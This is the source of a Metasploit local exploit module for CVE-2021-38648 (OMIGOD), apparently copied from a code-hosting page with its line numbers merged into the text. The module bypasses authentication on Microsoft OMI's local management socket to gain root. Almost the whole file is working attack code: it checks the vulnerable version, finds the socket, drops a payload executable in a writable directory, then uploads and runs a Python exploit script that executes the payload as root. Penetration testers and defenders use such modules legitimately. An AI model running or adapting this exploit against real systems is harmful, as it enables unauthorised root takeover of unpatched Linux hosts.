Path: blob/master/modules/exploits/linux/local/cve_2021_38648_omigod.rb
33065 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78prepend Msf::Exploit::Remote::AutoCheck9include Msf::Post::File10include Msf::Post::Process11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper1314DEFAULT_SERVER_BIN_PATH = '/opt/omi/bin/omiserver'.freeze15DEFAULT_SOCKET_PATH = '/var/opt/omi/run/omiserver.sock'.freeze1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'Microsoft OMI Management Interface Authentication Bypass',22'Description' => %q{23By removing the authentication exchange, an attacker can issue requests to the local OMI management socket24that will cause it to execute an operating system command as the root user. This vulnerability was patched in25OMI version 1.6.8-1 (released September 8th 2021).26},27'References' => [28['CVE', '2021-38648'],29['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38648'],30['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'],31['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647']32],33'Author' => [34'Nir Ohfeld', # vulnerability discovery & research35'Shir Tamari', # vulnerability discovery & research36'Spencer McIntyre' # metasploit module37],38'DisclosureDate' => '2021-09-14',39'License' => MSF_LICENSE,40'SessionTypes' => ['shell', 'meterpreter'],41'Targets' => [42[43'Unix Command',44{45'Platform' => 'unix',46'Arch' => ARCH_CMD,47'Type' => :unix_cmd,48'Payload' => { 'DisableNops' => true, 'Space' => 256 }49}50],51[52'Linux Dropper',53{54'Platform' => 'linux',55'Arch' => [ARCH_X86, ARCH_X64],56'Type' => :linux_dropper57}58]59],60'DefaultTarget' => 1,61'DefaultOptions' => {62'MeterpreterTryToFork' => true63},64'Notes' => {65'AKA' => ['OMIGOD'],66'Stability' => [CRASH_SAFE],67'Reliability' => [REPEATABLE_SESSION],68'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]69}70)71)7273register_advanced_options([74OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ]),75OptString.new('SocketPath', [ false, 'The path to the OMI server socket.', '' ])76])77end7879def check80pid = pidof('omiserver').first81return CheckCode::Safe('The omiserver process was not found.') if pid.nil?8283omiserver_bin = read_file("/proc/#{pid}/cmdline").split("\x00", 2).first84omiserver_bin = DEFAULT_SERVER_BIN_PATH if omiserver_bin.blank? && file?(DEFAULT_SERVER_BIN_PATH)85return CheckCode::Unknown('Failed to find the omiserver binary path.') if omiserver_bin.blank?8687vprint_status("Found #{omiserver_bin} running in PID: #{pid}")88if cmd_exec("#{omiserver_bin} --version") =~ /\sOMI-(\d+(\.\d+){2,3}(-\d+)?)\s/89version = Regexp.last_match(1)90else91return CheckCode::Unknown('Failed to identify the version of the omiserver binary.')92end9394return CheckCode::Safe("Version #{version} is not affected.") if Rex::Version.new(version) > Rex::Version.new('1.6.8-0')9596CheckCode::Appears("Version #{version} is affected.")97end9899def upload(path, data)100print_status "Writing '#{path}' (#{data.size} bytes) ..."101write_file path, data102ensure103register_file_for_cleanup(path)104end105106def find_exec_program107%w[python python3 python2].select(&method(:command_exists?)).first108end109110def get_socket_path111socket_path = datastore['SocketPath']112return socket_path unless socket_path.blank?113114pid = pidof('omiserver').first115fail_with(Failure::NotFound, 'The omiserver pid was not found.') if pid.nil?116117if read_file("/proc/#{pid}/net/unix") =~ %r{\s(/(\S+)server\.sock)$}118socket_path = Regexp.last_match(1)119else120begin121socket_path = DEFAULT_SOCKET_PATH if stat(DEFAULT_SOCKET_PATH).socket?122rescue StandardError # rubocop:disable Lint/SuppressedException123end124end125126fail_with(Failure::NotFound, 'The socket path could not be found.') if socket_path.blank?127128vprint_status("Socket path: #{socket_path}")129socket_path130end131132def exploit133python_binary = find_exec_program134fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary135136vprint_status("Using '#{python_binary}' to run the exploit")137socket_path = get_socket_path138path = datastore['WritableDir']139python_script = rand_text_alphanumeric(5..10) + '.py'140141case target['Type']142when :unix_cmd143root_cmd = payload.encoded144when :linux_dropper145unless path.start_with?('/')146# the command will be executed from a different working directory so use an absolute path147fail_with(Failure::BadConfig, 'The payload path must be an absolute path.')148end149150payload_path = "#{path}/#{rand_text_alphanumeric(5..10)}"151if payload_path.length > 256152# the Python exploit uses a hard-coded exchange that only allows up to 256 characters to be included in the153# command that is executed154fail_with(Failure::BadConfig, 'The payload path is too long (>256 characters).')155end156157upload(payload_path, generate_payload_exe)158cmd_exec("chmod +x '#{payload_path}'")159root_cmd = payload_path160end161162upload("#{path}/#{python_script}", exploit_data('CVE-2021-38648', 'cve_2021_38648.py'))163cmd = "#{python_binary} #{path}/#{python_script} -s '#{socket_path}' '#{root_cmd}'"164vprint_status("Running #{cmd}")165output = cmd_exec(cmd)166vprint_line(output) unless output.blank?167end168end169170171